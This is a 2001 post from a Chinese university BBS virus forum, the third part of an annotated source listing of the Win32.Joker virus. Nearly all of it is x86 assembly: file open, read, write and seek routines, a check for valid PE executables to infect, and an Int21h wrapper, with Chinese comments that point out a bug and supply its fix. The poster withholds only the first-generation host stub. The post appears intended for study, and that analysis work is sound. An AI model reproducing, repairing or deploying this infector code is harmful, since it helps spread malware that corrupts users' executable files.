荔园在线
荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀
[回到开始]
[上一篇][下一篇]
发信人: Mic (至酷霸王丸), 信区: Virus
标 题: 经典病毒源码 分析:Win32.Joker (3/3)
发信站: 荔园晨风BBS站 (Wed May 30 07:49:20 2001), 转信
【 以下文字转载自 Mic 的信箱 】
【 原文由 Smickey.bbs@melon.gznet.edu.cn 所发表 】
发信人: hollando (拜人精神,早睡早起), 信区: Virus
标 题: 经典病毒源码 分析:Win32.Joker (3/3)
发信站: 华南网木棉站 (Sun May 27 13:23:23 2001), 转信
; --------------------------------------------------------------------
; 获得文件属性
; --------------------------------------------------------------------
GetAttributes: ; AX = 获得文件属性
mov ax, 4300h
cwde ; 把16位 AX 转换为32位 EAX
lea edx, [ebp+FileAttributes] ; EDX = 文件名指针
call Int21h
retn
; --------------------------------------------------------------------
; 把文件指针移动到需要的地方
; --------------------------------------------------------------------
MoveFilePointer:
push ebx ; 保存 EBX
mov ah, 42h ; AH = 设置文件指针
cwde ; 把16位 AX 转换为32位 EAX
xchg al, bl ; AL = 到的地方
mov ebx, [ebp+FileHandle] ; EBX = 文件句柄
call Int21h
pop ebx ; 还原 EBX
retn
; --------------------------------------------------------------------
; 打开文件
; --------------------------------------------------------------------
OpenFile:
mov ax, 3D02h ; AX = 打开文件(供读写)
cwde ; 把16位 AX 转换为32位 EAX
lea edx, [ebp+FileAttributes] ; EDX = 指向文件名
xor ecx, ecx ; ECX = 属性
call Int21h
retn
; --------------------------------------------------------------------
; 从打开的文件中读取
; --------------------------------------------------------------------
ReadFromFile:
mov ax, 3F00h ; AX = 读去文件
cwde ; 把16位 AX 转换为32位 EAX
mov ebx, [ebp+FileHandle] ; EBX = 文件句柄
lea edx, [ebp+buffer] ; EDX = 存放地点
call Int21h
retn
; --------------------------------------------------------------------
; 把数据写入文件
; --------------------------------------------------------------------
Write2File:
push ebx ; 保存 EBX
mov ax, 4000h ; AX = 写文件
cwde ; 老一套,把16位 AX 转换为32位 EAX
mov ebx, [ebp+FileHandle] ; EBX = 文件句柄
call Int21h ; Win9X Int21h
pop ebx ; 恢复 EBX
retn
; --------------------------------------------------------------------
; 关闭已经打开的文件
; --------------------------------------------------------------------
CloseFile:
mov ax, 3E00h ; AX = 关闭文件
cwde ; EDX = 0
mov ebx, [ebp+FileHandle] ; EBX = 文件句柄
call Int21h
retn
; --------------------------------------------------------------------
; 是不是一个有效的PE文件呀?
; --------------------------------------------------------------------
CheckValidPE:
push eax
push ecx
lea esi, [ebp+40h] ; 首先 3Ch 字段保存PE头的位置
lodsd ; 然后检查一下
lea esi, [ebp+eax+4] ; 是不是
lodsw ; 真的有
cmp ax, 'EP' ; PE 签名 :)
jnz ErrorExit
stc
dec esi ; 修正 ESI, 这样它将重新指向
dec esi ; PE头的开始。
; 非常重要的 BUG!
; 段表数是一个16为整数,而不是32位。所以用这段代码,病毒会放一些没用的东西
; 进入EAX,这会造成一个错误,而造成本来可以感染的文件不被感染。:(
mov eax, [esi+6] ; Tries to put in EAX the number
; of sections
; 应该是 MOVZX EAX,WORD PTR [ESI+6], 或者 MOV AX,[ESI+6] 和 CWDE
inc eax ; 加一
mov ecx, 28h
mul ecx
add eax, 0F8h
add eax, [ebp+40h]
cmp eax, 400h ; 段表太大?
ja ErrorExit ; 失败!返回吧。
GlobalExit: ; ...
pop ecx ; 从堆栈恢复
pop eax
retn
ErrorExit: ; ...
stc
jmp GlobalExit
; --------------------------------------------------------------------
; INT 21h 架子
; --------------------------------------------------------------------
Int21h:
push ecx
push eax
push 2A0010h
call dword ptr fs:14h
retn
; --------------------------------------------------------------------
; 模拟一个虚拟的“宿主”,让病毒能够执行。
; --------------------------------------------------------------------
extrn ExitProcess:PROC
first_generation:
; 拜托,我可不是毒贩子,要是真有人拿这个干坏事……
; 算了,这段不写了,我知道如果你真的会写Win32程序的话,这不难。
end virus_start
--
※ 来源:.GNU中国站 hollando.gnu.org.cn.[FROM: 127.0.0.1] *[46
※ 来源:.华南网木棉站 bbs.gznet.edu.cn.[FROM: 202.38.240.231]
--
※ 转寄:.华南网木棉站 bbs.gznet.edu.cn.[FROM: 深大荔园晨风转站]
--
※ 转载:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.28.108]
[回到开始]
[上一篇][下一篇]
荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店